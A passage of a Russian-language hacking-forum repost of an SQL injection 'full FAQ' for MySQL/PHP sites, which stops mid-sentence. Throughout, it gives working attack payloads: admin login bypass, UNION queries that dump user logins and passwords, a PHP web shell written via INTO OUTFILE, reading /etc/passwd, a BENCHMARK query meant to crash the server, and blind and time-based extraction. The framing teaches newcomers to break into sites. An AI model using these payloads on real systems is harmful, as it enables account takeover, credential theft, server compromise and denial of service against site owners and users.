- 235
- 134
- 30 Май 2016
Многие новички питались раскрутить SQL и обломались,по большой части из за того что питались понять всею кухню из перемудренных статей которых напичкан интернет. Им не получилось просто из за того что они раскручивали уязвимость не понимая саму суть и механизм SQL. Не волнуйтесь и я в них обломался,но не бросил а питался понять как все устроенно. Мне на счастье попалась эта статья от Zero,по ней учился,по ступенькам прошел все пока дошло. Теперь хочу поделится с новенькими ибо статья очень редкая и его найти не так просто,люди того ресурса не любит рекламироваться и тому есть своя причина. Читайте,учитесь и доброго вам дня.
SQL injection полный FAQ
Автор: Dr.Z3r0
Посвящается всем кто меня знает)
0.INTRO
0.1 Вступление
Лазив по интернету в поисках хоть какой то инфы по SQL injection, ты, наверно, часто натыкался на статьи либо очень короткие, либо не понятные, либо освещающие одну тему, либо еще что-то, которые разумеется тебя не устраивали. Когда то и я насобирал где то статей 10-20 по этой теме, чтобы вникнуть во многие тонкости этой уязвимости. И вот вспоминая те времена, решил написать полный FAQ по этой теме, чтобы, так сказать, остальные не мучались. Те кто найдет, что я что-то пропустил, где то ошибся и тд, пожалуйста отпишитесь ниже, трудно все-таки, все удержать в голове . Кстати, это моя первая статья, пожалуйста не кидайтесь помидорами, и не пинайте ногами.
Для усвоения этой статьи требуется:
а) Наличие мозгов
б) Прямые руки
в) Знания языка SQL
В основном эта статья писалась как для MYSQL+PHP.
Вообще, по-моему, самый лучший способ обучиться правильной работе с SQL injection это не прочтение этой статьи, а живая практика, например, самому написать уязвимый скрипт или использовать мой приведенный в самом конце.
Кстати советую читать все подряд так, как в каждом пункте есть что-то важное для следующего пункта и т.д.
И еще. При чтении обратите внимание что эта статья немного устарела. Сейчас я пытаюсь ее переписать, дабы восстановить актуальность.
0.2 Общее описание
Для начала нам нужно представить, что такое база данных и скрипты, зачем они нам нужны и так далее.
Возьмем к примеру движок этого форума. Со стороны пользователя оно все красиво. Учитывая тематику статьи, следует задать вопрос, откуда движок берет информацию (даже эту же самую статью, эти буквы)? Правильно! Из базы данных!
Грубо говоря, обычная, в нашем понимании, БД состоит из множества таблиц. У каждой таблицы, естественно, есть столбцы и есть строки. Собственно, это ключевой момент. Возьмем к примеру таблицу юзеров этого форума. Для каждого юзера должно быть описанно несколько параметров (ник, мыло, дата реги и тд). В итоге каждый столбец определяет какой либо параметр юзеров, а каждая строка - конкретного юзера. А в пересечении нужного нам столбца и строки будет информация о параметре нужного юзера.
(вообще это утрированное описание реляционных баз данных, можете поискать подробнее)
Так надеюсь с представлением разобрались. Теперь поговорим о взаимодействии с Базами Данных. Для работы с БД был разработан специальный язык SQL запросов (кстати я бы советовал вам поискать мануал по нему, будет полезно).
Вообщем начнем с примера.
Представим, что вы(скрипт) пошли в магазин(БД), и просите(SQL запрос) продавца: "Дайте одну бутылку водки за 200 рублей".
Попытаемся представить запрос в виде SQL:
Код:
SELECT товар FROM магазин WHERE (тип='водка' AND цена='200') LIMIT 1
Собственно в ответ на вашу просьбу(SQL запрос) вы(скрипт) получаете бутылку(информацию), и продавца(Базу данных) уже не волнует, что вы будете с ней делать, так как свою работу он выполнил. Вы можете ее выпить, вылить, подарить (обработать, вывести, расчитать) и тд.
0.3 Что же все таки такое SQL иньекция?
Обобщенно атака типа SQL иньекция (SQL injection) возникает в случае если злоумышленник может каким то образом модифицировать запрос к БД.
На примерах разбирать проще поэтому вернемся к примеру с магазином.
Допустим вы бросили пить Вот вы решили пойти в магазин за кефиром, и специально написали на бумажке "один пакет кефира за 30 рублей", чтобы не забыть зачем вы пришли в магазин. Но у вас есть друг-алкоголик(хакер, он же злоумышленник), который исправил надпись на бумажке(провел атаку SQL injection) на такую "один пакет кефира за 30 рублей или одну бутылку водки за 200 рублей".
В итоге вы приходите в магазин и говорите, используя бумажку(входящий параметр): "Дайте один пакет кефира за 30 рублей или одну бутылку водки за 200 рублей"
Цитата:
Продавец, подумав что до холодильника с кефиром идти дальше чем до полки с водкой, дает вам бутылку. И вы со спокойной душой уходите домой, где вас уже ждет ваш друг-алкоглик, довольный результатом))
Вот собственно пример SQL иньекции. Вот налицо отсутствие фильтрации входящих параметров, вы же не посмотрели на то, что вторая часть записки написанна другим почерком?
Конечно, это все утрированно, но надеюсь идею SQL запросов и иньекций в эти запросы вы уловили.
1. КАК НАЙТИ SQL INJECTION
Как вы поняли выше SQL иньекция может возникать в местах где есть какие либо входящие параметры, будь то номер новости/статьи которую вы хотите увидеть на сайте, либо анкета голосования, вообщем любой параметр получаемый от пользователя. А возникать она будет тогда, когда этот параметр не фильтруется должным образом.
Уяснив эту мысль, вы поймете что найти SQL иньекцию очень просто. Надо вставлять во все поля, переменные и куки одинарные и двойные кавычки.
1.1 Первый случай (Строковой входящий параметр)
Начнем с вот такого скрипта Для просмотра ссылки Войдиили Зарегистрируйся1. Предположим что оригинальный запрос к БД выглядит так:
Код:
SELECT * FROM news WHERE id='1'
Теперь мы допишем кавычку в переменную "id", вот так Для просмотра ссылки Войдиили Зарегистрируйся1'
И, если переменная не фильтруется, наш запрос к БД будет выглядеть так:
Код:
SELECT * FROM news WHERE id='1''
Здесь мы видим нарушение синтаксиса и логики SQL запроса, и, в итоге, БД не сможет правильно обработать подобный запрос.
Если включены сообщения об ошибках то вылезет что то наподобие:
mysql_query(): You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near '1''
Если отчет об ошибках выключен то в данном случае можно определить наличие уязвимости вот так (Также не помешало бы это, что бы не спутать с пунктом 1.2. Как именно описанно в этом же пункте): Для просмотра ссылки Войдиили Зарегистрируйся1' -- То есть запрос к БД станет вот таким:
Код:
SELECT * FROM news WHERE id='1' -- '
(Для тех кто в танке “--“ это знак начала комментария все после него будет отброшено, еще хочу обратить ваше внимание на то что после него должен быть обязательно пробел(Так написано в документации к MYSQL) и кстати перед ним тоже).
Таким образом для MYSQL запрос остается прежним и отобразиться тоже самое что и для Для просмотра ссылки Войдиили Зарегистрируйся
Тому что делать с этой уязвимостью посвящен весь пункт 2.
1.2 Второй случай (Числовой входящий параметр)
Вернемся к скрипту новостей. Из языка SQL мы должны помнить, что числовые параметры могут(могут - ключевое слово, так как ни что программисту не мешает использовать параметр с ковычками) не обрамлятся кавычками, то есть при таком обращении к скрипту Для просмотра ссылки Войдиили Зарегистрируйся1 запрос к БД может(!) выглядеть вот так:
Код:
SELECT * FROM news WHERE id=1
Обнаружить эту иньекцию также можно подстановкой кавычки в параметр 'id' и тогда мы увидим сообщение об ошибке:
mysql_query(): You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near '1''
Если этого сообщения нет то есть три варианта:
или Зарегистрируйся1 blablabla
БД не поймет шо это за бла бла бла и выдаст сообщение об ошибке типа:
mysql_query(): You have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the right syntax to use near '1 blablabla'
Если отчет об ошибках выключен тогда проверяем вот так Для просмотра ссылки Войдиили Зарегистрируйся1 --
Должно отобразиться точно также как и Для просмотра ссылки Войдиили Зарегистрируйся1
1.3 Третий случай (Авторизация)
Что делать если в том же скрипте авторизации отсутствует проверка на кавычку? Имхо будет как минимум глупо использовать эту иньекцию для вывода какой нибудь информаци. Пускай запрос к БД будет типа:
Код:
SELECT * FROM users WHERE login='Admin' AND pass='123'
К сожалению пароль '123' не подходит , но мы нашли иньекцию допустим в параметре 'login' и что бы зарегистрироваться под ником 'Admin' нам нужно вписать вместо него что то наподобие этого Admin' -- то есть часть с проверкой пароля отбрасывается и мы входим под ником 'Admin'.
Код:
SELECT * FROM users WHERE login='Admin' -- ' AND pass='123'
А теперь что делать если уязвимость в поле 'pass'. Мы вписываем в это поле следующее 123' OR login='Admin' -- . Запрос станет таким:
Код:
SELECT * FROM users WHERE login='Admin' AND pass='123' OR login='Admin' -- '
Что для БД будет совершенно индеинтично такому запросу:
Код:
SELECT * FROM users WHERE (login='Admin' AND pass='123') OR (login='Admin')
И после этих действий мы станем полноправным владельцем акка с логином 'Admin'.
1.4 Четвертый случай (Оператор LIKE)
В SQL есть оператор LIKE. Он служит для сравнения строк. Вот допустим скрипт авторизации при вводе логина и пароля запрашивает инфу из БД вот так:
Код:
SELECT * FROM users WHERE login LIKE 'Admin' AND pass LIKE '123'
Даже если этот скрипт фильтрует кавычку то все равно он остается уязвимым для инъекции. Нам нужно вместо пароля просто ввести "%" (Для оператора LIKE символ "%" соответствует любой строке) и тогда запрос станет
Код:
SELECT * FROM users WHERE login LIKE 'Admin' AND pass LIKE '%'
и нас пустят внутрь с логином 'Admin'. В этом случае мы не только нашли SQL injection но и успешно ее использовали.
Теперь можно переходить к пункту 2.
2. ЧТО И КАК МОЖНО ИЗВЛЕЧЬ ИЗ ЭТОГО ПОЛЕЗНОЕ
Дальше будет рассматриваться только тип уязвимости описанный в пункте 1.1, а переделать под остальные сможете сами, это не трудно
2.1 Команда UNION
Cамое полезное, в нашем случае, это команда UNION (кто не знает лезть в Для просмотра ссылки Войдиили Зарегистрируйся )...
Если в двух словах, то она объеденяет два запроса в один. И это очень полезно, так как вы сможете указать практически полностью свой запрос к БД, к примеру вывести информацию из любой таблицы.
Модифицируем обращение к скрипту Для просмотра ссылки Войдиили Зарегистрируйся1' UNION SELECT 1 -- . Запрос к БД у нас получается вот таким:
Код:
SELECT * FROM news WHERE id='1' UNION SELECT 1 -- '
2.1.1 Подбор количества полей
Для работы с объеденением запросов нам необходимо чтобы во всех объеденяемых запросах количество полей было одинаковым. Так как мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором к первому.
2.1.1.1 Подбор количества полей (Способ 1 - Оператор UNION)
Дело в том, что количество столбцов до UNION и после должны соответствовать, и, наверняка, вылезет ошибка (если только в таблице news не одна колонка) типа:
mysql_query(): The used SELECT statements have a different number of columns
В данном случае нам нужно подобрать количиство столбцов (что бы их количество до UNION и после соответствовало). Делаем это так:
Для просмотра ссылки Войдиили Зарегистрируйся' UNION SELECT 1, 2 --
Ошибка. «The used SELECT statements have a different number of columns»
Для просмотра ссылки Войдиили Зарегистрируйся' UNION SELECT 1,2,3 --
Опять ошибка.
...
Для просмотра ссылки Войдиили Зарегистрируйся' UNION SELECT 1,2,3,4,5,6 --
О! Отобразилось точно также как и Для просмотра ссылки Войдиили Зарегистрируйсязначит количество полей подобрано, то есть их 6 штук…
2.1.1.2 Подбор количества полей(Способ 2 - Оператор GROUP BY)
А этот способ основан на подборе количества полей с помощью GROUP BY. То есть запрос такого типа:
Для просмотра ссылки Войдиили Зарегистрируйся' GROUP BY 2 --
Будет отображен без ошибок если количество полей меньше или равно 2.
Делаем запрос такого типа:
Для просмотра ссылки Войдиили Зарегистрируйся' GROUP BY 10 --
Упс... Появилась ошибка типа.
mysql_query(): Unknown column '10' in 'group statement'
Значит столбцов меньше чем 10. Делим 10 на 2. И делаем запрос
Для просмотра ссылки Войдиили Зарегистрируйся' GROUP BY 5 --
Опа! Ошибки нет - значит количество столбцов больше либо равно 5 но меньше чем 10. Теперь берем среднее значение между 5 и 10 это получается вроде 7. Делаем запрос:
Для просмотра ссылки Войдиили Зарегистрируйся' GROUP BY 7 --
Ой, опять ошибка...
mysql_query(): Unknown column '7' in 'group statement'
Значит количество больше либо равно 5 но меньше чем 7. Делаем еще один запрос
Для просмотра ссылки Войдиили Зарегистрируйся' GROUP BY 6 --
Ошибок нет... Значит число больше либо равно 6 но меньше чем 7. Отсюда следует что искомое число столбцов 6.
2.1.1.3 Подбор количества полей(Способ 3 - Оператор ORDER BY)
Тот же самый принцип что и в пункте 2.1.1.2 только используется функция ORDER BY. И немного меняется текст ошибки если полей больше.
mysql_query(): Unknown column '10' in 'order clause'
2.1.2 Определение выводимых столбцов
Я так думаю что многим из нас точно такая страница как и Для просмотра ссылки Войдиили Зарегистрируйся не устроит. Значит нам нужно сделать так чтобы по первому запросу ничего не выводилось (до UNION). Грубо говоря, нужно отсечь вывод с первого запроса.
Проще всего поменять "id" с '1' на '-1' (либо на '9999999'):
Для просмотра ссылки Войдиили Зарегистрируйся' UNION SELECT 1,2,3,4,5,6 --
Или добавить ложное условие:
Для просмотра ссылки Войдиили Зарегистрируйся' AND 1=0 UNION SELECT 1,2,3,4,5,6 --
Теперь у нас кое где в странице должны отобразится какие-нибудь из этих цифр. (Например так как это условно скрипт новости то в «Название новости» будет отображенно допустим 3, «Новость»-4 ну и тд). Теперь чтобы нам получить какую нибудь информацию нам нужно заменять эти цифры в обрщении к скрипту на нужные нам функции. Если цифры не отобразились нигде, то вероятнее всего вывод отсутствует и остальные подпункты пункта 2.1 можно пропустить.
2.1.3 SIXSS (SQL Injection Cros Site Scripting)
Эта таже XSS, только проводится она через запрос к базе. Пример:
Для просмотра ссылки Войдиили Зарегистрируйся-1' UNION SELECT 1,2,3,'<script>alert('SIXSS')</script>',5,6 --Ну думаю понять не трудно что 4 в странице заменится на <script>alert(‘SIXSS’)</script> и соответственно получится таже XSS.
2.1.4 Названия столбцов/таблиц
Если ты знаешь названия таблиц и стобцов в БД этот пункт можно пропустить
Если не знаешь… Тут два пути.
2.1.4.1 Названия столбцов/таблиц если есть доступ к INFORMATION_SCHEMA и если версия MYSQL >=5
Таблица INFORMATION_SCHEMA.TABLES содержит информацию о всех таблицах в БД, столбец TABLE_NAME - имена таблиц.
Для просмотра ссылки Войдиили Зарегистрируйся' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES -- Вот тут может появится проблема. Так как будет выводится только первая строка из ответа БД. Тогда нам нужно воспользоваться LIMIT вот так:
Вывод первой строки:
Для просмотра ссылки Войдиили Зарегистрируйся' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1 --
Вывод второй строки:
Для просмотра ссылки Войдиили Зарегистрируйся' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 1,1 --и т.д.
Ну вот мы и нашли таблицу Users. Только это... кхм... стобцы не знаем... Тогда к нам приходит на помощь таблица INFORMATION_SCHEMA.COLUMNS столбец COLUMN_NAME содержит название столбца в таблице TABLE_NAME. Вот так мы извлекаем названия столбцов.
Для просмотра ссылки Войдиили Зарегистрируйся' UNION SELECT 1,2,3, COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’Users’ LIMIT 0,1 --
Для просмотра ссылки Войдиили Зарегистрируйся' UNION SELECT 1,2,3, COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='Users' LIMIT 1,1 --
и т.д.
И вот мы нашли поля login, password.
2.1.4.2 Названия столбцов/таблиц если нет доступа к INFORMATION_SCHEMA
К сожалению тут в силу вступает обычный брутофорс... Пример:
Для просмотра ссылки Войдиили Зарегистрируйся' UNION SELECT 1,2,3,4,5,6 FROM Имя_таблицы --
Нужно подбирать Имя_таблицы до тех пор пока не пропадет сообщение об ошибке типа:
mysql_query(): Table 'Имя_таблицы' doesn't exist
Ну ввели мы, к своему счастью, Users, пропало сообщение об ошибке, и страница отобразилась как при Для просмотра ссылки Войдиили Зарегистрируйся' UNION SELECT 1,2,3,4,5,6 -- что это значит? Это значит то, что существет таблица Users и нужно приступить к перебору столбцов.
Для просмотра ссылки Войдиили Зарегистрируйся' UNION SELECT 1,2,3,Имя_столбца,5,6 FROM Users --
Нужно подбирать Имя_столбца до тех пор пока не пропадет сообщение об ошибке типа:
mysql_query():Unknown column 'Имя_столбца'' in 'field list'
Там где пропадает сообщение об ошибке значит такой столбец существует.
И вот таким образом мы узнали что в таблице Users есть столбцы login, password.
2.1.5 Вывод информации
Обращение к скрипту таким образом Для просмотра ссылки Войдиили Зарегистрируйся' UNION SELECT 1,2,login,password,5,6 FROM Users LIMIT 0,1 -- Выводит нам логин и пароль первого юзера из таблицы Users.
2.2 Работа с Файлами
Сервер MYSQL подерживает работу с файлами. Да, она несколько ущербная, но это вам не файловый менеджер. Для работы с файлами у текущего юзера должны быть права на это то есть FILE_PRIV.
2.2.1 Запись в файл
Есть в MYSQL такая интересная функция типа SELECT … INTO OUTFILE позволяющая записывать информацию в файл. Либо такая конструкция SELECT ... INTO DUMPFILE они почти похоже и можно использовать любую.
Пример: Для просмотра ссылки Войдиили Зарегистрируйся' UNION SELECT 1,2,3,4,5,6 INTO OUTFILE '1.txt' --
Для нее работает несколько ограничений.
А вот что бы нам мешало сделать веб шел? Вот например так:
Для просмотра ссылки Войдиили Зарегистрируйся' UNION SELECT 1,2,3,'<?php eval($_GET[‘e’]) ?>',5,6 INTO OUTFILE '1.php' --
Остается только найти полный путь к корню сайта на сервере и дописать его перед 1.php. Врипринципе можно найти еще одну ошибку по отчету которой будет виден путь на сервере или оставить в корне сервера и подцепить его локальным инклудом, но это уже другая тема.
2.2.2 Чтение файлов
Рассмотрим функцию LOAD_FILE
Пример: Для просмотра ссылки Войдиили Зарегистрируйся' UNION SELECT 1,2,LOAD_FILE('etc/passwd'),4,5,6
Для нее есть также несколько ограничений.
Если функции не удастся прочитать файл то она возвращает NULL.
2.3 DOS атака на SQL сервер
В большинстве случаев SQL сервер досят из-за того что больше ничего сделать не могут. Типа не получилось узнать таблицы/столбцы, нет прав на это, нет прав на то и т.д. Я честно говоря против этого метода но все таки...
Ближе к делу…
Функция BENCHMARK выполняет одно и тоже действие несколько раз.
Код:
SELECT BENCHMARK(100000,md5(current_time))
То есть здесь эта функция 100000 раз делает md5(current_time) что у меня на компе занимает приблизительно 0.7 секунды... Казалось что здесь такого... А если попробовать вложенный BENCHMARK?
Код:
SELECT BENCHMARK(100000, BENCHMARK(100000,md5(current_time)))
Выполняется очень долго честно говоря я даже не дождался... пришлось делать reset .
Пример Доса в нашем случае:
Для просмотра ссылки Войдиили Зарегистрируйся' UNION SELECT 1, 2, BENCHMARK(100000,BENCHMARK(100000,md5(current_time ))), 4, 5, 6 --
Достаточно раз 100 потыкать F5 и «сервер упадет в беспробудный даун» ))).
3.ЧТО ДЕЛАТЬ ЕСЛИ ОТСУТСТВУЮТ ПРЯМОЙ ВЫВОД НА СТРАНИЦУ.
3.1 Вывод в отчете об ошибках
Более подробно можно найти в комментариях к статье Для просмотра ссылки Войдиили Зарегистрируйся
Идея этого способа попробовать найти вывод в отчете об ошибках. То есть динамически передать какую либо подстроку в ошибку мускула.
Минус данного способа - невозможность вывести свою строку длинее 64 символов за один раз (ограничение связанно с архитектурой MySQL), ну и естественно необходимость включенного отображения отчета об ошибках.
Вообщем не вижу смысла пытаться разъяснить смысл и логику запроса, чесно говоря сам еле допер)
Собственно вариант предложенный Qwazar-ом и Cr0w в дебрях указанного выше топика:
Код:
SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID([YOUR QUERY], 1, 63), FLOOR(RAND(0)*2))
Недавно решил его немного рихтануть в сторону уменьшения и упрощения запроса, в итоге получился такой запрос:
Код:
SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID([YOUR QUERY], FLOOR(RAND(0)*2), 64)
Теперь не выводится результат выполнения команды FLOOR(RAND(0)*2) в текст ошибки, и соответственно можно выдирать из базы 64 символа, а не 63, как это было в старом варианте.
Cобственно вот пример того как можно заюзать этот способ:
Для просмотра ссылки Войдиили Зарегистрируйся' OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID(VERSION(), FLOOR(RAND(0)*2), 64)) --
Как результат предыдущего запроса мы увидим ошибку типа:
Duplicate entry '5.0.45-community-nt' for key 1
Вот вам и вывод в тексте ошибок.
Ну а допустим если вам нужно вывести следующие 64 символа, то делаем это следующим образом:
Для просмотра ссылки Войдиили Зарегистрируйся' OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID([BIGTEXT], FLOOR(RAND(0)*2)+64, 64)) --
3.2 Посимвольный перебор
Этот случай нужен нам если Для просмотра ссылки Войдиили Зарегистрируйся при разных id выдаст нам разные результаты. Например Для просмотра ссылки Войди или Зарегистрируйся будет отлично от Для просмотра ссылки Войди или Зарегистрируйся если нет, то этот метод бесполезен но дочитать до конца стоит.
Как мы помним запрос к БД у нас выглядит так
Код:
SELECT * FROM news WHERE id='1'
Теперь мы его модифицируем через уязвимый параметр id до такого запроса (если что то незнакомое то идем в пункт 5 и читаем):
Код:
SELECT * FROM news WHERE id='-1' OR id=IF(ASCII((SELECT USER()))>=254,'1','0') -- '
Вот так:
Для просмотра ссылки Войдиили Зарегистрируйся' OR id=IF(ASCII((SELECT USER()))>=254,'1','0') --
Что нам это дает? Для начала MYSQL выполняет подзапрос SELECT USER() вставляет его в функцию ASCII() которая возвращает ascii код первого символа из результата выполнения подзапроса а функция IF() возвращает 1 если этот код больше или равен 100 oсновной запрос становиться таким
Код:
SELECT * FROM news WHERE id='-1' OR id=1
и выполняется точно также как и при обращении к скрипту Для просмотра ссылки Войдиили Зарегистрируйся а если код этого числа меньше то основной запрос становиться таким
Код:
SELECT * FROM news WHERE id='-1' OR id=0
и выполняется точно также как и при
Для просмотра ссылки Войдиили Зарегистрируйся
Назовем условно что запрос возвращает 1(да) или 0(нет) соответственно и начнем перебирать.
Для просмотра ссылки Войдиили Зарегистрируйся' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=100,'1','0') --
Ага вернулся 1 значит код первого символа больше или равен 100. Пробуем вот так:
Для просмотра ссылки Войдиили Зарегистрируйся' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=200,'1','0') --
Вернулся 0 значит 100<= код символа <200.
Для просмотра ссылки Войдиили Зарегистрируйся' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=150,'1','0') --
Опять вернулся 0 значит 100<= код символа <150.
Для просмотра ссылки Войдиили Зарегистрируйся' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=125,'1','0') --
И снова вернулся 0 значит 100<= код символа <125.
Для просмотра ссылки Войдиили Зарегистрируйся' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=113,'1','0') --
Вернулся 1 следовательно113<= код символа <125.
Для просмотра ссылки Войдиили Зарегистрируйся' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=118,'1','0') --
Возвращается 0 следовательно113<= код символа <118.
Для просмотра ссылки Войдиили Зарегистрируйся' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)>=115,'1','0') --
113<= код символа <115.
Для просмотра ссылки Войдиили Зарегистрируйся' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1) =113,'1','0') --
Вернулся 0 значит код символа не равен 113.
Для просмотра ссылки Войдиили Зарегистрируйся' OR id=IF(ASCII(SUBSTRING((SELECT USER()),0,1)=114,'1','0') --
Ура! Вернулся 1 значит код символа равен 114. Переводим в символ и получаем символ "r". Теперь переходим к следующему символу.
Для просмотра ссылки Войдиили Зарегистрируйся' OR id=IF(ASCII(SUBSTRING((SELECT USER()),2,1)>=100,'1','0') --
И заново повторяем все предыдущие шаги.
3.3 Посимвольный перебор с помощью BENCHMARK
Что делать если отсутствует выводимые поля и выключены отчеты об ошибках? На помощь нам прийдет функция BENCHMARK. Как было написано выше, эта функция выполняет одно действие несколько раз. Ну и что спросишь ты... А вот что. Вспомним что запрос
Код:
SELECT BENCHMARK(100000,BENCHMARK(100000,md5(NOW())))
выполняется ооочень долго, и на основе задержек (нет, не пугайся, не тех задержек, что ты сейчас подумал) будем посимвольно перебирать какой-нибудь параметр допустим имя юзера под которым мы подключены к БД (его выводит нам функция USER()).
Для просмотра ссылки Войдиили Зарегистрируйся' OR id= IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, BENCHMARK(2999999,MD5(NOW()))) --
Запрос станет таким:
Код:
SELECT * FROM news WHERE id='-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, BENCHMARK(2999999,MD5(NOW()))) -- '
И теперь по аналогии с предыдущим пунктом мы будем перебирать строку USER(). Только в данном случае вместо 0 функция будет очень долго выполнять этот запрос что и будет нам говорить о том что запрос вернул 0 и соответственно если без каких либо задержек то запрос возвращает 1.
Теперь поговорим о времени задержки. Для того чтобы определить время возврата 0 и 1 нужно сделать предварительно несколько запросов:
Для просмотра ссылки Войдиили Зарегистрируйся' OR id= IF(99>100, 1, BENCHMARK(2999999,MD5(NOW()))) --
Будет возвращать 0. Нужно засечь время. В зависимости от ширины вашего канала нужно подобрать число 2999999 до токого, чтобы вы могли точно судить была ли задержка или нет по сравнению с
Для просмотра ссылки Войдиили Зарегистрируйся' OR id= IF(101>100, 1, BENCHMARK(2999999,MD5(NOW()))) --
который вернет 1.
Огромным минусом является то что BENCHMARK-ом мы очень сильно грузим сервак.
ВНИМАНИЕ! В данном случае главное не забывать что после каждого выполнения BENCHMARK-а серверу SQL нужно дать некоторое время отдых. (Чуть больше чем само выполнение BENCMARK-а). В противном случае результаты данного перебора могут быть неверными.
3.4 Посимвольный перебор с помощью SLEEP
Чтож про бенчмарк мы прочитали. И все обратили внимание на жуткую не стабильность этого метода. Что делать спросите вы? Вот что. С 5 ветки MySQL появился оператор SLEEP().
По сути эта функция и создает нужную нам задержку в ответе веб сервера, и, заметьте, без ненужных нагрузок на него. То есть SLEEP() является лучшей альтернативой BENCHMARK() и юзать желательно ее, но повторюсь единственный минус - эта функция появилась только аж в 5-ой ветке. Сказка, да и только.
Как юзать? Все элементрано:
Для просмотра ссылки Войдиили Зарегистрируйся' OR id= IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) --
Я юзаю значение в две - три секнуды, но вам советую подобрать его в соответствии с каналом сервера, так как могут возникнуть погрешности в выводе.
3.5 Посимвольный перебор с помощью отчета об ошибках
Этот пункт написан на основе статьи "Для просмотра ссылки Войдиили Зарегистрируйся" автор Elekt, респект ему.
Данный способ основан на том что вместо возврата 0, выполняется подзапрос который вызывает ошибку и по выводу ошибок можно судить что возвратился 0, а по отсутствию ошибки что возвратился 1. Этот способ нам поможет если отсутствуют выводимые поля, но ВКЛЮЧЕН(!) отчет об ошибках.
Код:
SELECT * FROM news WHERE id='-1' OR id=(SELECT 1 UNION SELECT 2)
Как вы думаете что вернет этот запрос? Правильно ошибку так как id сравнивается с подзапросом который возвращает две строки.
mysql_query():Subquery returns more than 1 row
Это была теория. Теперь переходим к запросу с помощью которого мы будем перебирать символы
Код:
SELECT * FROM news WHERE id='-1' OR id=IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1,(SELECT 1 UNION SELECT 2)) -- '
Как видно из этого запроса если код символа будет больше или равен 100 функция IF() возвращает 1, и никакой тогда ошибки не вылазит, а если функция выполняет подзапрос
Код:
SELECT 1 UNION SELECT 2
который возвращает две строки что при сравнении с id вызывает ошибку и мы понимаем что запрос вернул 0.
Огромным минусом этого способа является то что в логах скапливаются огромные количества ошибок. А огромным плюсом является скорость работы.
3.6 Иньекция в операторе ORDER BY
Почему то у многих сложилось мнение, что это безнадежный случай. Ну что же будем менять это мнение на противоположное. Допустим к БД запрос выглядит вот так:
Код:
SELECT * FROM news ORDER BY $by
ну и как всегда бывает переменная $by не проходит фильтрации, а на странице выводятся несколько строк из БД. Что ж нам требуется получить два запроса, которые бы изменяли каким то образом вывод на страницу, но еще запросы должны быть такими чтобы можно было влиять на результат с помощью допустим подзапросов. Что же такими запросами могут стать
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или ЗарегистрируйсяНадеюсь как вы догадались в второй раз выборка пойдет "сверху вниз" относительно первого запроса, понять почему не сложно. Допустим в первый раз вывелось, примим это за истину:
Код:
Первая новость
Вторая новость
Третья новость
А во второй ложь:
Код:
Третья новость
Вторая новость
Первая новость
Ну чтоже запрос для брута имени текущего юзера будет выглядеть так:
Для просмотра ссылки Войдиили ЗарегистрируйсяЧтож вывелся обратный порядок новостей => ложь
Для просмотра ссылки Войдиили ЗарегистрируйсяОпять ложь
Для просмотра ссылки Войдиили ЗарегистрируйсяО! Прямой порядок новостей => истина
Переводим код символа 114 в символ r. Переходим к следующему символу и тд.
4.ВЫВОД В ОДНУ СТРОКУ.
Довольно часто встречаются иньекции, когда данные из таблицы выводятся по одной записи. И приходится делать кучу запросов для того чтобы получить всю таблицу. Здесь же будут приведенны способы уменьшить количество запросов для получения таблицы или вовсе свести их к одному запросу. На данный момент(06.09.2011) публике известны только три способа (все остальные - лишь варианты основанные на этих способах, или я устарел?). Начну описание с самых геморных.
4.1 Цикл с помощью BENCHMARK
Идея состоит в том чтобы реализовать в запросе подобие цикла с помощью функции BENCHMARK, условия IF и переменных @var. Собственно перейдем к примеру запроса (он специально урезан чтобы можно было понять его суть):
Код:
1| SELECT CONCAT(
2| CONCAT(
3| @i:=(SELECT MIN(id) FROM user),
4| @s:='',
5| BENCHMARK(
6| 10,
7| @s:=CONCAT(
8| @s,
9| (SELECT CONCAT_WS(':',login, password) FROM Users WHERE id=@i LIMIT 0,1),
10| '|',
11| i:=(SELECT MIN(id) FROM user WHERE id>@i)
12| )
13| )
14| )
15| ,@s)
Начнем разбирать этот запрос. Здесь мы инициализируем переменные @i (указатель на минимальный ID строки) и @s будущий буффер с данными.
Код:
3| @i:=(SELECT MIN(id) FROM user),
4| @s:='',
А вот и сам цикл:
Код:
5| BENCHMARK(
6| 10,
7| @s:=CONCAT(
8| @s,
9| (SELECT CONCAT_WS(':',login, password) FROM Users WHERE id=@i LIMIT 0,1),
10| '|',
11| i:=(SELECT MIN(id) FROM user WHERE id>@i)
12| )
13| )
Цифра 10, как вы наверное догадались, это колличество иттераций цикла, т.е количество извлекаемых строк. А вот строка
Код:
